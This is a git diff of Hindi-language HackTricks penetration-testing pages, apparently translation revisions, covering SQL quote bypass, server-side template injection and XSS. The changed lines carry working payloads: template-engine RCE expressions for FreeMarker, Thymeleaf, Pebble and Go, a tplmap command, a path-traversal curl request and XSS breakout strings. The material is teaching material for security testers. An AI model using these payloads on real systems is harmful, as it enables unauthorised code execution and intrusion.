यदि आप अपने पेलोड के लिए उद्धरण का उपयोग नहीं कर सकते हैं, तो आप इसे `CHR` के साथ बायपास कर सकते हैं बुनियादी धाराओं के लिए (_अक्षर संयोजन केवल बुनियादी प्रश्नों जैसे SELECT, INSERT, DELETE, आदि के लिए काम करता है। यह सभी SQL बयानों के लिए काम नहीं करता है_):
यदि आप अपने पेलोड के लिए उद्धरण का उपयोग नहीं कर सकते हैं, तो आप इसे `CHR` के साथ बायपास कर सकते हैं बुनियादी धाराओं के लिए (_अक्षर संयोजन केवल बुनियादी प्रश्नों जैसे SELECT, INSERT, DELETE, आदि के लिए काम करता है। यह सभी SQL बयानों के लिए काम नहीं करता_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
@ -97,7 +97,7 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
@ -112,7 +112,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हमसे जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -12,14 +12,14 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें।
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) **स्पेन** में सबसे प्रासंगिक साइबरसिक्योरिटी इवेंट है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसिक्योरिटी पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
[**RootedCON**](https://www.rootedcon.com) **स्पेन** में सबसे प्रासंगिक साइबरसुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
@ -43,7 +43,7 @@ The payload `{{bad-stuff-here}}` को `name` पैरामीटर मे
### Detection
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, **टेम्पलेट को फज़ करना** एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (**`${{<%[%'"}}%\`**) इंजेक्ट करना और नियमित डेटा बनाम इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, **टेम्पलेट को फज़ करना** एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (**`${{<%[%'"}}%\`**) को इंजेक्ट करना और नियमित डेटा बनाम इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:
* फेंके गए त्रुटियाँ, जो कमजोरी और संभावित रूप से टेम्पलेट इंजन को प्रकट करती हैं।
* परावर्तन में पेलोड की अनुपस्थिति, या इसके कुछ हिस्सों का गायब होना, यह संकेत करता है कि सर्वर इसे नियमित डेटा की तुलना में अलग तरीके से संसाधित करता है।
@ -58,7 +58,7 @@ The payload `{{bad-stuff-here}}` को `name` पैरामीटर मे
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
* अधिक जानकारी के लिए [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
* अधिक जानकारी [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) में
## Tools
@ -89,7 +89,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
### Generic
इस **wordlist** में आप नीचे दिए गए कुछ इंजनों के वातावरण में **परिभाषित वेरिएबल्स** पा सकते हैं:
इस **wordlist** में आप नीचे उल्लेखित कुछ इंजनों के वातावरण में **परिभाषित वेरिएबल्स** पा सकते हैं:
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@ -143,7 +143,7 @@ ${dwf.newInstance(ec,null)("id")}
```
**अधिक जानकारी**
* FreeMarker अनुभाग में [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) के FreeMarker अनुभाग में
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
### Velocity (Java)
@ -176,7 +176,7 @@ $out.read()
### Thymeleaf
Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति `${7*7}`, जो इस टेम्पलेट इंजन पर भी लागू होत है। संभावित दूरस्थ कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:
Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति `${7*7}`, जो इस टेम्पलेट इंजन पर भी लागू होत है। संभावित दूरस्थ कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:
* SpringEL:
@ -191,7 +191,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, _अभिव्यक्ति इनलाइनिंग_ अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि `[[...]]` या `[(...)]` का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है `[[${7*7}]]`.
हालांकि, इस पेलोड के काम करने की संभावना आमतौर पर कम होती है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती है; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग्स से टेम्पलेट बनाने के लिए अपना `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है।
हालांकि, इस पेलोड के काम करने की संभावना सामान्यतः कम है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती है; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग्स से टेम्पलेट बनाने के लिए अपना `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है।
Thymeleaf _अभिव्यक्ति पूर्वप्रसंस्करण_ भी प्रदान करता है, जहाँ डबल अंडरस्कोर (`__...__`) के भीतर अभिव्यक्तियों को पूर्वप्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:
```java
@ -281,7 +281,7 @@ Pebble का पुराना संस्करण ( < संस्करण
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Pebble का नया संस्करण:
नई संस्करण Pebble :
```java
{% raw %}
{% set cmd = 'id' %}
@ -308,7 +308,7 @@ Pebble का नया संस्करण:
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava एक ओपन सोर्स प्रोजेक्ट है जिसे Hubspot द्वारा विकसित किया गया है, उपलब्ध है [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
Jinjava एक ओपन सोर्स प्रोजेक्ट है जिसे Hubspot द्वारा विकसित किया गया है, जो [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) पर उपलब्ध है।
**Jinjava - कमांड निष्पादन**
@ -438,7 +438,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबरसुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक स्थल है।
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबरसुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
@ -642,7 +642,7 @@ Hello {NAME}.<br/>
### हैंडलबार्स (NodeJS)
पाथ ट्रैवर्सल (अधिक जानकारी [यहाँ](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
पाथ ट्रैवर्सल (अधिक जानकारी [यहाँ](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/) पर)।
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
@ -683,8 +683,8 @@ URLencoded:
| ------------ | ------------------------------------- |
| | आउटपुट का मूल्यांकन और रेंडर करना |
| | एचटीएमएल एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करना |
| | टिप्पणी |
| और | कोड की अनुमति (डिफ़ॉल्ट रूप से अक्षम) |
| | टिप्पणी |
| और | कोड की अनुमति (डिफ़ॉल्ट रूप से अक्षम) |
* \= 49
@ -731,11 +731,11 @@ home = pugjs.render(injected_page)
### अन्य NodeJS
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
* अधिक जानकारी [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
* अधिक जानकारी [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) में
### ERB (Ruby)
@ -778,13 +778,13 @@ home = pugjs.render(injected_page)
### पायथन
**सैंडबॉक्स को बायपास करते हुए मनमाने कमांड निष्पादन** के बारे में ट्रिक्स जानने के लिए निम्नलिखित पृष्ठ देखें:
**संदर्भित कमांड निष्पादन को बायपास करने** के लिए पायथन में ट्रिक्स सीखने के लिए निम्नलिखित पृष्ठ देखें:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### टॉरनेडो (पायथन)
### टॉरनेडो (पायथन)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
@ -929,7 +929,7 @@ ${x}
### Mojolicious (Perl)
यह भले ही पर्ल है, लेकिन यह रूबी में ERB की तरह टैग का उपयोग करता है।
यह भले ही Perl है, लेकिन यह Ruby में ERB की तरह टैग का उपयोग करता है।
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`
@ -955,9 +955,9 @@ vbnet Copy code
**RCE Exploitation**
RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न होता है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [यहां html/template के लिए](https://golang.org/pkg/html/template/) और [यहां text/template के लिए](https://golang.org/pkg/text/template/) उपलब्ध है।
RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न होता है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [html/template के लिए यहां](https://golang.org/pkg/html/template/) और [text/template के लिए यहां](https://golang.org/pkg/text/template/) उपलब्ध है।
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को आह्वान किया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड निष्पादित करता है, तो इसे इस तरह से शोषित किया जा सकता है: `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को आह्वान किया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड चलाता है, तो इसे इस तरह से शोषित किया जा सकता है: `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -991,7 +991,7 @@ return string(out)
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## ब्रूट-फोर्स डिटेक्शन सूची
## ब्रूट-फोर्स डिटेक्शन लिस्ट
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
@ -1003,7 +1003,7 @@ return string(out)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक बिंदु है।
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने के मिशन** के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
@ -1016,8 +1016,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
* **HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके हैकिंग ट्रिक्स साझा करें।
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>
{% endhint %}

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
@ -21,7 +21,7 @@
2. एक **HTML टैग** के अंदर:
1. क्या आप कच्चे HTML संदर्भ में बाहर निकल सकते हैं?
2. क्या आप JS कोड निष्पादित करने के लिए नए इवेंट/विशेषताएँ बना सकते हैं?
3. क्या जिस विशेषता में आप फंसे हैं वह JS निष्पादन का समर्थन करती है?
3. क्या उस विशेषता में जहां आप फंसे हैं, JS निष्पादन का समर्थन है?
4. क्या आप सुरक्षा को बायपास कर सकते हैं?
3. **JavaScript कोड** के अंदर:
1. क्या आप `<script>` टैग को बचा सकते हैं?
@ -31,7 +31,7 @@
4. Javascript **कार्य** जो **निष्पादित** हो रहा है
1. आप निष्पादित करने के लिए कार्य का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)`
4. यदि **उपयोग किया गया**:
1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित किया जा रहा है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित किया जाता है और यदि आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जाा है।**
जब आप एक जटिल XSS पर काम कर रहे हों तो जानना दिलचस्प हो सकता है:
@ -41,7 +41,7 @@
## परावर्तित मान
XSS का सफलतापूर्वक शोषण करने के लिए, आपको सबसे पहले एक **मान खोजने की आवश्यकता है जिसे आप नियंत्रित करते हैं और जो वेब पृष्ठ में परावर्तित हो रहा है**
XSS का सफलतापूर्वक शोषण करने के लिए, आपको सबसे पहले एक **मान खोजने की आवश्यकता है जिसे आप नियंत्रित करते हैं और जो वेब पृष्ठ में परावर्तित हो रहा है**
* **अंतरिम रूप से परावर्तित**: यदि आप पाते हैं कि किसी पैरामीटर का मान या यहां तक कि पथ वेब पृष्ठ में परावर्तित हो रहा है, तो आप **परावर्तित XSS** का शोषण कर सकते हैं।
* **संग्रहीत और परावर्तित**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, सर्वर में सहेजा गया है और हर बार जब आप एक पृष्ठ तक पहुँचते हैं तो यह परावर्तित होता है, तो आप **संग्रहीत XSS** का शोषण कर सकते हैं।
@ -49,21 +49,21 @@ XSS का सफलतापूर्वक शोषण करने के
## संदर्भ
जब आप XSS का शोषण करने की कोशिश कर रहे हों, तो आपको सबसे पहले यह जानने की आवश्यकता है कि **आपका इनपुट कहाँ परावर्तित हो रहा है**। संदर्भ के आधार पर, आप विभिन्न तरीकों से मनमाना JS कोड निष्पादित कर सकेंगे।
जब आप XSS का शोषण करने की कोशिश कर रहे हों, तो सबसे पहले आपको यह जानने की आवश्यकता है कि **आपका इनपुट कहाँ परावर्तित हो रहा है**। संदर्भ के आधार पर, आप विभिन्न तरीकों से मनमाना JS कोड निष्पादित कर सकेंगे।
### कच्चा HTML
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परावर्तित** हो रहा है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परावर्तित** होा है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करने की आवश्यकता होगी: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
इसके अलावा, [क्लाइंट साइड टेम्पलेट इंजेक्शन](../client-side-template-injection-csti.md) को ध्यान में रखें।
### HTML टैग विशेषता के अंदर
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परावर्तित हो रहा है, तो आप कोशिश कर सकते हैं:
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परावर्तित होा है, तो आप कोशिश कर सकते हैं:
1. **विशेषता और टैग से बाहर निकलने** के लिए (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाने के लिए: `"><img [...]`
1. **विशेषता और टैग से बाहर निकलने के लिए** (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाने के लिए: `"><img [...]`
2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एन्कोड किया गया है या हटा दिया गया है), तो आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="`
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परावर्तित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप `onclick=` जैसे इवेंट को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परावर्तित हो रहा है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए किसी प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परावर्तित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण** के लिए, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परावर्तित होा है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए किसी प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण:
```html
@ -73,15 +73,15 @@ XSS का सफलतापूर्वक शोषण करने के
```
### Inside JavaScript code
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करते हुए परिलक्षित होता है:
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या **`javascript:`** प्रोटोकॉल का उपयोग करते हुए एक विशेषता के अंदर परिलक्षित होता है:
* यदि **`<script> [...] </script>`** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `</script>` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए, यह नहीं देखेगा कि आपका इंजेक्ट किया गया `</script>` टैग HTML कोड के अंदर है।
* यदि **JS स्ट्रिंग** के अंदर परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
* यदि **JS स्ट्रिंग** के अंदर परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलना**, अपना कोड **निष्पादित करना** और JS कोड को **पुनर्निर्माण** करना होगा (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
